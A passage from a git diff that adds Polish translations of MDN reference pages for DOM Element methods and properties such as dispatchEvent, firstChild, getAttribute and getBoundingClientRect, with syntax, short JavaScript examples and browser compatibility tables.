+ <li><a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-52460740">W3C DOM Level 2 HTML: dir</a></li>
+</ul>
diff --git a/files/pl/web/api/element/dispatchevent/index.html b/files/pl/web/api/element/dispatchevent/index.html
new file mode 100644
index 0000000000..266c570cfe
--- /dev/null
+++ b/files/pl/web/api/element/dispatchevent/index.html
@@ -0,0 +1,43 @@
+---
+title: element.dispatchEvent
+slug: Web/API/Element/dispatchEvent
+tags:
+ - DOM
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Wszystkie_kategorie
+translation_of: Web/API/EventTarget/dispatchEvent
+---
+<p>{{ ApiRef() }}</p>
+
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+
+<p>Wywołuje zdarzenie w bieżącym elemencie.</p>
+
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+
+<pre class="eval"><em>bool</em> = <em>element</em>.dispatchEvent(<em>event</em>)
+</pre>
+
+<ul>
+ <li><code>event</code> to <a href="pl/DOM/event">obiekt zdarzenia</a>, które ma zostać wywołane.</li>
+ <li>Jeśli któraś z funkcji obsługujących to zdarzenie wywoła <a href="pl/DOM/event.preventDefault">preventDefault</a>, zwracana wartość to <code>false</code>. W przeciwnym przypadku zwracane jest <code>true</code>.</li>
+</ul>
+
+<h3 id="Uwagi" name="Uwagi">Uwagi</h3>
+
+<p>Jak pokazuje powyższy przykład, <code>dispatchEvent</code> to ostatni krok w procesie utwórz-zainicjuj-wywołaj, którego używa się by ręcznie wywołać zdarzenia w modelu zdarzeń implementacji.</p>
+
+<p>Zdarzenie może zostać utworzone przy użyciu metody <a href="pl/DOM/document.createEvent">document.createEvent</a> i zainicjowane za pomocą <a href="pl/DOM/event.initEvent">initEvent</a> lub innej, bardziej wyspecjalizowanej metody, jak <a href="pl/DOM/event.initMouseEvent">initMouseEvent</a> albo <a href="pl/DOM/event.initUIEvent">initUIEvent</a>.</p>
+
+<p>Zobacz też dokumentację <a href="pl/DOM/event">obiektu event</a>.</p>
+
+<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3>
+
+<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Events/events.html#Events-EventTarget-dispatchEvent">DOM Level 2 Events: dispatchEvent</a></p>
+
+<p> </p>
+
+<div class="noinclude"> </div>
+
+<p>{{ languages( { "en": "en/DOM/element.dispatchEvent", "es": "es/DOM/element.dispatchEvent", "fr": "fr/DOM/element.dispatchEvent", "ja": "ja/DOM/element.dispatchEvent" } ) }}</p>
diff --git a/files/pl/web/api/element/firstchild/index.html b/files/pl/web/api/element/firstchild/index.html
new file mode 100644
index 0000000000..20189ce803
--- /dev/null
+++ b/files/pl/web/api/element/firstchild/index.html
@@ -0,0 +1,101 @@
+---
+title: element.firstChild
+slug: Web/API/Element/firstChild
+tags:
+ - DOM
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Wszystkie_kategorie
+translation_of: Web/API/Node/firstChild
+---
+<p>{{ ApiRef() }}</p>
+
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+
+<p><strong>firstChild</strong> jest właściwością tylko do odczytu, która zwraca pierwszego potomka węzła lub wartość null, jeżeli węzeł nie ma potomków. Jeżeli węzeł jest elementem Document, wtedy zwraca pierwszy węzeł z listy swoich bezpośrednich dzieci.</p>
+
+<h3 id="Sk.C5.82adnia_i_warto.C5.9Bci" name="Sk.C5.82adnia_i_warto.C5.9Bci">Składnia i wartości</h3>
+
+<pre class="notranslate">var elt = element.firstChild;
+</pre>
+
+<p><var>elt</var> to referencja do pierwszego dziecka elementu, jeśli jest takie - w przeciwnym razie jest to null.</p>
+
+<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3>
+
+<p>Przeglądarki oparte o Gecko wstawiają do dokumentu węzły tekstowe reprezentujące białe znaki w kodzie. Dlatego pierwsze dziecko elementu może odnosić się do wstawionego węzła tekstowego, a nie elementu określonego przez następny znacznik w źródle strony.</p>
+
+<pre class="notranslate">&lt;p id="para-01"&gt;
+ &lt;span&gt;Pierwszy span&lt;/span&gt;
+&lt;/p&gt;
+
+&lt;script type="text/javascript"&gt;
+ var p01 = document.getElementById('para-01');
+ alert(p01.firstChild.nodeName)
+&lt;/script&gt;
+</pre>
+
+<p>W powyższym przykładzie alert wyświetli '#text', ponieważ wstawiony jest węzeł tekstowy oznaczający przerwę między otwierającymi znacznikami &lt;p&gt; i &lt;span&gt; . Dowolny biały znak spowoduje wstawienie węzła tekstowego - zarówno pojedyncza spacja, jak i dowolna ilość spacji, nowych linii, znaków tabulacji itd.</p>
+
+<p>Kolejny węzeł #text jest wstawiany między zamykającymi znacznikami &lt;/span&gt; i &lt;/p&gt;</p>
+
+<p>Jeśli usunie się białe znaki ze źródła, nie zostaną wstawione węzły tekstowe, a element <code>span</code> stanie się pierwszym dzieckiem paragrafu.</p>
+
+<pre class="notranslate">&lt;p id="para-01"&gt;&lt;span&gt;Pierwszy span&lt;/span&gt;&lt;/p&gt;
+
+&lt;script type="text/javascript"&gt;
+ var p01 = document.getElementById('para-01');
+ alert(p01.firstChild.nodeName)
+&lt;/script&gt;
+</pre>
+
+<p>Teraz alert wyświetli 'SPAN'.</p>
+
+<h3 id="Uwagi" name="Uwagi">Uwagi</h3>
+
+<p>Więcej o problemach z węzłami-zjawami znajdziesz w {{ Bug(26179) }} (nie komentuj tego błędu!). Oto jeden ze sposobów na ominięcie problemu:</p>
+
+<pre class="notranslate">&lt;!-- konwencjonalne formatowanie prowadzi do
+ zaśmiecenia drzewa dokumentu w Gecko
+ --&gt;
+&lt;div&gt;
+ &lt;ul&gt;
+ &lt;li&gt;Pozycja 1&lt;/li&gt;
+ &lt;li&gt;Pozycja 2&lt;/li&gt;
+ &lt;li&gt;Pozycja 3&lt;/li&gt;
+ &lt;/ul&gt;
+&lt;/div&gt;
+
+&lt;!-- Formatowanie ustawione, by ominąć
+ problem węzłów-zjaw
+ --&gt;
+&lt;div
+ &gt;&lt;ul
+ &gt;&lt;li&gt;Pozycja 1&lt;/li
+ &gt;&lt;li&gt;Pozycja 2&lt;/li
+ &gt;&lt;li&gt;Pozycja 3&lt;/li
+ &gt;&lt;/ul
+&gt;&lt;/div&gt;
+</pre>
+
+<h4 id="W.C4.99z.C5.82y_bezdzietne" name="W.C4.99z.C5.82y_bezdzietne">Węzły bezdzietne</h4>
+
+<p>Własność zwraca <code>null</code>, jeśli bieżący węzeł jest bezdzietny.</p>
+
+<h4 id="Bia.C5.82e_znaki_i_w.C4.99z.C5.82y_dzieci" name="Bia.C5.82e_znaki_i_w.C4.99z.C5.82y_dzieci">Białe znaki i węzły dzieci</h4>
+
+<p>Węzły #text mogą być wstawione jako dzieci elementów takich jak TR pomimo że specyfikacja HTML pozwala tylko na TD jako ich dzieci. Z uwagi na XML białe znaki muszą zostać zachowane i gdzieś wstawione.</p>
+
+<p>Ponieważ węzły #text nie są elementami HTML, białe znaki są tam wstawiane.</p>
+
+<p><a class="external" href="http://www.w3.org/DOM/faq.html#emptytext">W3C DOM 3 FAQ: Why are some Text nodes empty?</a></p>
+
+<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3>
+
+<p><a class="external" href="http://www.w3.org/TR/REC-DOM-Level-1/level-one-core.html#attribute-firstChild">DOM Level 1 Core: firstChild</a></p>
+
+<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Core/core.html#ID-169727388">DOM Level 2 Core: firstChild</a></p>
+
+<div class="noinclude"></div>
+
+<p>{{ languages( { "en": "en/DOM/element.firstChild", "fr": "fr/DOM/element.firstChild", "ja": "ja/DOM/element.firstChild", "zh-cn": "cn/DOM/element.firstChild" } ) }}</p>
diff --git a/files/pl/web/api/element/focus/index.html b/files/pl/web/api/element/focus/index.html
new file mode 100644
index 0000000000..7f3eef32fa
--- /dev/null
+++ b/files/pl/web/api/element/focus/index.html
@@ -0,0 +1,23 @@
+---
+title: element.focus
+slug: Web/API/Element/focus
+tags:
+ - DOM
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Wszystkie_kategorie
+translation_of: Web/API/HTMLOrForeignElement/focus
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+<p><b>focus</b> aktywuje bieżący element (ustawia focus).</p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+<pre class="eval">element.focus()
+</pre>
+<h3 id="Uwagi" name="Uwagi">Uwagi</h3>
+<p>Wywołanie metody <b>focus()</b> jest równoważne z zaznaczeniem elementu przez użytkownika.</p>
+<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3>
+<p><a class="external" href="http://www.w3.org/TR/2000/WD-DOM-Level-2-HTML-20001113/html.html#ID-32130014">focus </a></p>
+<div class="noinclude">
+  </div>
+<p>{{ languages( { "en": "en/DOM/element.focus", "fr": "fr/DOM/element.focus" } ) }}</p>
diff --git a/files/pl/web/api/element/getattribute/index.html b/files/pl/web/api/element/getattribute/index.html
new file mode 100644
index 0000000000..da509fb349
--- /dev/null
+++ b/files/pl/web/api/element/getattribute/index.html
@@ -0,0 +1,43 @@
+---
+title: element.getAttribute
+slug: Web/API/Element/getAttribute
+translation_of: Web/API/Element/getAttribute
+---
+<p>{{ ApiRef() }}</p>
+
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+
+<p>getAttribute zwraca wartość atrybutu o podanej nazwie.</p>
+
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+
+<pre class="eval"><em>atrybut</em> = element.getAttribute(<em>nazwaAtrybutu</em>)
+</pre>
+
+<ul>
+ <li><code><em>atrybut</em></code> to ciąg zawierający wartość atrybutu o nazwie <code><em>nazwaAtrybutu</em> </code></li>
+ <li><code><em>nazwaAtrybutu</em></code> jest nazwą atrybutu, który chcesz pobrać</li>
+</ul>
+
+<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3>
+
+<pre>var div1 = document.getElementById("div1");
+var a = div1.getAttribute("align");
+alert(a); // pokaże wartość atrybutu "align" dla elementu o id="div1"
+</pre>
+
+<h3 id="Uwagi" name="Uwagi">Uwagi</h3>
+
+<p>W zasadzie wszystkie przeglądarki (Firefox, Internet Explorer, nowsze wersje Opery, Safari, Konqueror oraz iCab) zwracają <code>null</code>, jeśli bieżący element nie posiada atrybutu o podanej nazwie. Specyfikacja DOM mówi, że w takiej sytuacji powinien być zwracany pusty ciąg znaków i niektórze implementacje DOM tak się zachowują. Zatem jeśli jest możliwe, że element nie posiada żądanego atrybutu, powinieneś użyć metody <a href="/DOM/element.hasAttribute">hasAttribute</a> aby sprawdzić istnienie atrybutu zanim wywołasz <code>getAttribute</code>.</p>
+
+<p><code>nazwaAtrybutu</code> jest zazwyczaj zależna od wielkości liter, jednak nie w przypadku elementów HTML - wtedy wielkość liter nie ma znaczenia.</p>
+
+<p>{{ DOMAttributeMethods() }}</p>
+
+<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3>
+
+<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Core/core.html#ID-666EE0F9">DOM Level 2 Core: getAttribute</a> (wprowadzono w <a class="external" href="http://www.w3.org/TR/REC-DOM-Level-1/level-one-core.html#method-getAttribute">DOM Level 1 Core</a>)</p>
+
+<div class="noinclude"> </div>
+
+<p>{{ languages( { "en": "en/DOM/element.getAttribute", "fr": "fr/DOM/element.getAttribute", "ja": "ja/DOM/element.getAttribute" } ) }}</p>
diff --git a/files/pl/web/api/element/getattributenode/index.html b/files/pl/web/api/element/getattributenode/index.html
new file mode 100644
index 0000000000..0bdf977063
--- /dev/null
+++ b/files/pl/web/api/element/getattributenode/index.html
@@ -0,0 +1,36 @@
+---
+title: element.getAttributeNode
+slug: Web/API/Element/getAttributeNode
+tags:
+ - DOM
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Wszystkie_kategorie
+translation_of: Web/API/Element/getAttributeNode
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+<p>Zwraca określony atrybut elementu jako węzeł typu <code>Attr</code>.</p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+<pre class="eval"><i>węzełAtrybutu</i> = element.getAttributeNode(<i>nazwaAtrybutu</i>)
+</pre>
+<ul>
+ <li><code>nazwaAtrybutu</code> jest ciągiem zawierającym nazwę atrybutu</li>
+ <li><code>węzełAtrybutu</code> jest osobnym węzłem typu <code>Attr</code></li>
+</ul>
+<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3>
+<pre>// html: &lt;div id="top" /&gt;
+t = document.getElementById("top");
+iNode = t.getAttributeNode("id");
+// iNode.value = "top"
+</pre>
+<h3 id="Uwagi" name="Uwagi">Uwagi</h3>
+<p>Interfejs węzła <code>Attr</code> dziedziczy ze wspólnego interfejsu węzłów <code>Node</code>, ale węzły atrybutów nie stanowią części drzewa dokumentu. Wpólne atrybuty wszystkich węzłów, takie jak <a href="pl/DOM/element.parentNode">parentNode</a>, <a href="pl/DOM/element.previousSibling">previousSibling</a> i <a href="pl/DOM/element.nextSibling">nextSibling</a> mają w przypadku węzłów <code>Attr</code> wartość <code>null</code>.</p>
+<p>Do elementu, do którego należy atrybut, możesz odnosić się wykorzystując właściwość <code>ownerElement</code>.</p>
+<p>Do pobrania wartości atrybutu używa się raczej metody <a href="pl/DOM/element.getAttribute">getAttribute</a> niż <code>getAttributeNode</code>.</p>
+<p>{{ DOMAttributeMethods() }}</p>
+<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3>
+<p><a class="external" href="http://www.w3.org/TR/2000/REC-DOM-Level-2-Core-20001113/core.html#ID-217A91B8">getAttributeNode </a></p>
+<div class="noinclude">
+  </div>
+<p>{{ languages( { "en": "en/DOM/element.getAttributeNode", "fr": "fr/DOM/element.getAttributeNode", "ja": "ja/DOM/element.getAttributeNode" } ) }}</p>
diff --git a/files/pl/web/api/element/getattributenodens/index.html b/files/pl/web/api/element/getattributenodens/index.html
new file mode 100644
index 0000000000..b1ec0f2281
--- /dev/null
+++ b/files/pl/web/api/element/getattributenodens/index.html
@@ -0,0 +1,39 @@
+---
+title: element.getAttributeNodeNS
+slug: Web/API/Element/getAttributeNodeNS
+tags:
+ - DOM
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Strony_wymagające_dopracowania
+ - Wszystkie_kategorie
+translation_of: Web/API/Element/getAttributeNodeNS
+---
+<p>{{ ApiRef() }}</p>
+
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+
+<p>Zwraca węzeł <code>Attr</code> dla atrybutu z daną przestrzenią nazw i nazwą.</p>
+
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+
+<pre class="eval"><em>attributeNode</em> = element.getAttributeNodeNS(<em>namespace</em>,<em>nodeName</em>)
+</pre>
+
+<ul>
+ <li><code>attributeNode</code> jest węzłem określonego atrybutu.</li>
+ <li><code>namespace</code> jest łańcuchem znaków określającym przestrzeń nazw atrybutu.</li>
+ <li><code>nodeName</code> jest łańcuchem znaków określającym nazwę atrybutu.</li>
+</ul>
+
+<p><span class="comment">== Przykład == TBD The example needs to be fixed pre&gt; // html: &lt;div id="top" /&gt; t = document.getElementById("top"); specialNode = t.getAttributeNodeNS( "<a class="external" href="http://www.mozilla.org/ns/specialspace" rel="freelink">http://www.mozilla.org/ns/specialspace</a>", "id"); // iNode.value = "full-top" &lt;/pre</span></p>
+
+<h3 id="Uwagi" name="Uwagi">Uwagi</h3>
+
+<p><code>getAttributeNodeNS</code> is more specific than <a href="pl/DOM/element.getAttributeNode">getAttributeNode</a> in that it allows you to specify attributes that are part of a particular namespace. The corresponding setter method is <a href="pl/DOM/element.setAttributeNodeNS">setAttributeNodeNS</a>.</p>
+
+<p>{{ DOMAttributeMethods() }}</p>
+
+<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3>
+
+<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Core/core.html#ID-ElGetAtNodeNS">DOM Level 2 Core: getAttributeNodeNS</a></p>
diff --git a/files/pl/web/api/element/getattributens/index.html b/files/pl/web/api/element/getattributens/index.html
new file mode 100644
index 0000000000..1ece5594ec
--- /dev/null
+++ b/files/pl/web/api/element/getattributens/index.html
@@ -0,0 +1,47 @@
+---
+title: element.getAttributeNS
+slug: Web/API/Element/getAttributeNS
+tags:
+ - DOM
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Wszystkie_kategorie
+translation_of: Web/API/Element/getAttributeNS
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+<p><code>getAttributeNS</code> zwraca ciąg z wartością atrybutu o podanej nazwie i przestrzeni nazw. Jeśli nie ma atrybutu o takiego atrybutu, zwrócone zostanie <code>null</code> bądź <code>""</code> (pust ciąg) - zob. {{ Anch("Uwagi") }}.</p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+<pre class="eval"><i>wartośćAtr</i> =<i>element</i>.getAttributeNS(<i>przestrzeńNazw</i>,<i>nazwa</i>)
+</pre>
+<h3 id="Parametry" name="Parametry">Parametry</h3>
+<ul>
+ <li><code>
+ <i>
+ wartośćAtr</i>
+ </code> to ciąg z wartością podanego atrybutu</li>
+ <li><code>
+ <i>
+ przestrzeńNazw</i>
+ </code> to przestrzeń nazw atrybutu</li>
+ <li><code>
+ <i>
+ nazwa</i>
+ </code> to nazwa atrybutu.</li>
+</ul>
+<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3>
+<pre class="eval">var div1 = document.getElementById("div1");
+var a = div1.getAttributeNS("www.mozilla.org/ns/specialspace/",
+ "special-align");
+alert(a); // wyświetli zawartość special-align elementu div
+</pre>
+<h3 id="Uwagi" name="Uwagi">Uwagi</h3>
+<p><code>getAttributeNS</code> różni się od <a href="pl/DOM/element.getAttribute">getAttribute</a> tym, że pozwala Ci określić do jakiej przestrzeni nazw należy atrybut, tak jak w powyższym przykładzie, gdzie atrybut należał do fikcyjnej przestrzeni "specialspace".</p>
+<p>W zasadzie wszystkie przeglądarki (Firefox, Internet Explorer, nowsze wersje Opery, Safari, Konqueror oraz iCab) zwracają <code>null</code>, jeśli bieżący element nie posiada atrybutu o podanej nazwie. Specyfikacja DOM mówi, że w takiej sytuacji powinien być zwracany pusty ciąg znaków i niektórze implementacje DOM tak się zachowują. Zatem jeśli jest możliwe, że element nie posiada żądanego atrybutu, powinieneś użyć metody <a href="pl/DOM/element.hasAttributeNS">hasAttributeNS</a> aby sprawdzić istnienie atrybutu zanim wywołasz <code>getAttributeNS</code>.</p>
+<p>{{ DOMAttributeMethods() }}</p>
+<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3>
+<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Core/core.html#ID-ElGetAttrNS">DOM Level 2 Core: getAttributeNS</a></p>
+<p> </p>
+<div class="noinclude">
+  </div>
+<p>{{ languages( { "en": "en/DOM/element.getAttributeNS", "fr": "fr/DOM/element.getAttributeNS", "ja": "ja/DOM/element.getAttributeNS" } ) }}</p>
diff --git a/files/pl/web/api/element/getboundingclientrect/index.html b/files/pl/web/api/element/getboundingclientrect/index.html
new file mode 100644
index 0000000000..dc189b37af
--- /dev/null
+++ b/files/pl/web/api/element/getboundingclientrect/index.html
@@ -0,0 +1,146 @@
+---
+title: Element.getBoundingClientRect()
+slug: Web/API/Element/getBoundingClientRect
+tags:
+ - API
+ - Metoda(2)
+ - Pudełko
+ - Widok CSSOM
+translation_of: Web/API/Element/getBoundingClientRect
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p>Metoda <code><strong>Element.getBoundingClientRect()</strong></code> zwraca rozmiar  oraz  położenie elementu względem okna widoku (viewport).</p>
+
+<h2 id="Składnia">Składnia</h2>
+
+<pre class="syntaxbox"><var>rectObject</var> = <var>object</var>.getBoundingClientRect();
+</pre>
+
+<h3 id="Wynik">Wynik</h3>
+
+<p>Zwrócony  jest obiekt <a href="/en-US/docs/XPCOM_Interface_Reference/nsIDOMClientRect">DOMRect</a>,  wyznaczony z tablicy prostokątów zwróconych przez  metodę <code><a href="/en-US/docs/DOM/element.getClientRects">getClientRects()</a></code>, zastosowaną do danego elementu, czyli wyznaczony ze wszystkich pudełek  CSS związanych z danym elementem.</p>
+
+<p>Zwrócony obiekt  <code>DOMRect</code> posiada następujące (tylko do odczytu) właściwości: <code>left</code>, <code>top</code>, <code>right</code> and <code>bottom,</code>  opisujące parametry otaczającego element pudełka w  pikselach. Właściwości <code>top</code> and <code>left</code>  oznaczają odległość od górnego-lewego rogu aktualnego okna widoku.</p>
+
+<div class="note">
+<p><strong>Uwaga:</strong> {{Gecko("1.9.1")}} dodało właściwości <code>width</code> and <code>height</code> do obiektu <code>DOMRect</code>.</p>
+</div>
+
+<p>Puste pudełka są całkowicie ignorowane. Jeśli wszystkie elementy pudełka są puste, to zwrócony prostokąt ma wysokość i szerokość równą zero zaś własności <code>top</code> oraz <code>left </code>dotyczą pierwszego pudełka CSS (w porządku kontekstowym) który zawiera dany element<code>.</code></p>
+
+<p>Efekt przewijania (scrolling) okna widoku  (lub dowolnego innego przewijalnego elementu) jest uwzględniany podczas wyznaczania otaczającego pudełka. Zatem, właściwości <code>top</code> oraz <code>left</code> zmieniają się natychmiast po dowolnym przewinięciu (są więc względne w stosunku do widoku, a więc nie są absolutne). W celu wyznaczenia absolutnego położenie elementu  należy do właściwości <code>top </code>oraz <code>left </code>dodać aktualne pozycje przesuwania (scrolling position)  (można je uzyskać za  pomocą <code>window.scrollX</code> and <code>window.scrollY</code>).</p>
+
+<p>Skrypty wymagające  zgodności z różnymi przeglądarkami mogą korzystać z metod  <code>window.pageXOffset</code> oraz <code>window.pageYOffset</code> zamiast <code>window.scrollX</code> oraz <code>window.scrollY.</code> Skrypty które nie mają dostępu do  <code>window.pageXOffset</code>, <code>window.pageYOffset</code>, <code>window.scrollX</code> ani <code>window.scrollY</code> mogą stosować następujący kod :</p>
+
+<pre class="brush:js">// Zamiast scrollX
+(((t = document.documentElement) || (t = document.body.parentNode))
+ &amp;&amp; typeof t.ScrollLeft == 'number' ? t : document.body).ScrollLeft
+// Zamiast scrollY
+(((t = document.documentElement) || (t = document.body.parentNode))
+ &amp;&amp; typeof t.ScrollTop == 'number' ? t : document.body).ScrollTop
+</pre>
+
+<h2 id="Przykład">Przykład</h2>
+
+<pre class="brush:js">// rect jest obiektem DOMRect z sześcioma własnościami: left, top, right, bottom, width, height
+var rect = obj.getBoundingClientRect();
+</pre>
+
+<h2 id="Specyfikacja">Specyfikacja</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specyfikacja</th>
+ <th scope="col">Status</th>
+ <th scope="col">Komentarz</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName("CSSOM View", "#the-getclientrects()-and-getboundingclientrect()-methods", "Element.getBoundingClientRect()")}}</td>
+ <td>{{Spec2("CSSOM View")}}</td>
+ <td>definicja początkowa</td>
+ </tr>
+ </tbody>
+</table>
+
+<h3 id="Uwagi">Uwagi</h3>
+
+<p><code>Metoda getBoundingClientRect()</code> została wprowadzona po raz pierwszy w  modelu MS IE DHTML.</p>
+
+<p>Wynik metody <code>getBoundingClientRect()</code> jest  obiektem <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/freeze">zamrożonym</a>.</p>
+
+<h2 id="Zgodność_z_przeglądarkami">Zgodność z przeglądarkami</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Właściwość</th>
+ <th>Chrome</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari</th>
+ </tr>
+ <tr>
+ <td>Postawowe wsparcie</td>
+ <td>1.0<sup>[1]</sup></td>
+ <td>{{CompatGeckoDesktop(1.9)}}</td>
+ <td>4.0<sup>[2]</sup></td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>4.0</td>
+ </tr>
+ <tr>
+ <td>width/height</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatGeckoDesktop(1.9.1)}}</td>
+ <td>9</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Właściwość</th>
+ <th>Android</th>
+ <th>Chrome for Android</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Mobile</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Postawowe wsparcie</td>
+ <td>2.0</td>
+ <td>1.0</td>
+ <td>{{CompatGeckoMobile(1.9)}}</td>
+ <td>6.0</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>4.0</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] <a href="http://www.w3.org/TR/SVG11/struct.html#UseElement">specyfikacja CSS dla elementu 'use' </a> wskazującego na element  'symbol' wymaga aby domyślne wartości atrybutów  width oraz height elementu 'use' ustawione były na 100%. Również,  <a href="http://www.w3.org/TR/SVG11/struct.html#SVGElementWidthAttribute">specyfikacja CSS dla atrybutów width oraz height elementu 'svg'</a> wymaga 100%  jako wartości domyślne. Google Chrome nie przestrzega tych wymagań dla elementów  'use'. Chrome nie uwzględnia również  'stroke-width'. Zatem metoda   <code>getBoundingClientRect()</code> może zwrócić inny prostokąt w  Chrome  niż w Firefox.</p>
+
+<p>[2] W IE8, oraz we wcześniejszych wersjach, obiekt  <code>DOMRect</code> zwrócony przez <code>getBoundingClientRect()</code> nie zawiera właściwości <code>height</code> ani <code>width</code>. Żadne dodatkowe właściwości (w tym <code>height</code> oraz <code>width</code>) nie mogą być dodane do tych obiektów <code>DOMRect</code>.</p>
+
+<p>Począwszy od Gecko 12.0 {{geckoRelease("12.0")}}, efekt  <a href="/en-US/docs/CSS/Using_CSS_transforms">transformacji CSS</a> jest uwzględniany w algorytmie wyznaczania otaczającego pudełka (bounding rectangle).</p>
+
+<h2 id="Patrz_również">Patrz również</h2>
+
+<ul>
+ <li><a href="https://msdn.microsoft.com/en-us/library/ms536433%28VS.85%29.aspx?f=255&amp;MSPPError=-2147217396">MSDN <code>getBoundingClientRect</code></a></li>
+ <li><a href="/en-US/docs/DOM/element.getClientRects"><code>getClientRects()</code></a></li>
+</ul>
diff --git a/files/pl/web/api/element/getelementsbytagnamens/index.html b/files/pl/web/api/element/getelementsbytagnamens/index.html
new file mode 100644
index 0000000000..81b82173d2
--- /dev/null
+++ b/files/pl/web/api/element/getelementsbytagnamens/index.html
@@ -0,0 +1,49 @@
+---
+title: element.getElementsByTagNameNS
+slug: Web/API/Element/getElementsByTagNameNS
+tags:
+ - DOM
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Strony_wymagające_dopracowania
+ - Wszystkie_kategorie
+translation_of: Web/API/Element/getElementsByTagNameNS
+---
+<p>{{ ApiRef("DOM") }}</p>
+
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+
+<p>Zwraca listę elementów o danej nazwie znacznika należącej do danej przestrzeni nazw.</p>
+
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+
+<pre class="eval"><em>elements</em> =<em>element</em>.getElementsByTagNameNS(<em>namespace</em>,<em>localName</em>)
+</pre>
+
+<ul>
+ <li><code>elements</code> jest <code>NodeList</code> znalezionych elementów w kolejności ich występowania w drzewie.</li>
+ <li><code>element</code> jest elementem startowym. Zauważ, że tylko potomkowie tegoż elementu zawarci są w przeszukiwaniu, ale nie on sam węzeł.</li>
+ <li><code>namespace</code> jest przestrzenią nazw URI elementów do przeszukania (zobacz <code><a href="pl/DOM/element.namespaceURI">element.namespaceURI</a></code>).</li>
+ <li><code>name</code> is either the local name of elements to look for or the special value <code>"*"</code>, which matches all elements (see <code><a href="pl/DOM/element.localName">element.localName</a></code>).</li>
+</ul>
+
+<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3>
+
+<pre>// check the alignment on a number of cells in a table.
+var table = document.getElementById("forecast-table");
+var cells = table.getElementsByTagNameNS("www.mozilla.org/ns/specialspace/", "td");
+for (var i = 0; i &lt; cells.length; i++) {
+ status = cells[i].getAttribute("status");
+ if ( status == "open") {
+ // grab the data
+ }
+}
+</pre>
+
+<h3 id="Uwagi" name="Uwagi">Uwagi</h3>
+
+<p><code>element.getElementsByTagNameNS</code> is similar to <a href="pl/DOM/document.getElementsByTagNameNS">document.getElementsByTagNameNS</a>, except that its search is restricted to those elements which are descendants of the specified element.</p>
+
+<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3>
+
+<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Core/core.html#ID-A6C90942">DOM Level 2 Core: Element.getElementsByTagNameNS</a></p>
diff --git a/files/pl/web/api/element/hasattribute/index.html b/files/pl/web/api/element/hasattribute/index.html
new file mode 100644
index 0000000000..e06d1f1fa2
--- /dev/null
+++ b/files/pl/web/api/element/hasattribute/index.html
@@ -0,0 +1,34 @@
+---
+title: element.hasAttribute
+slug: Web/API/Element/hasAttribute
+tags:
+ - DOM
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Wszystkie_kategorie
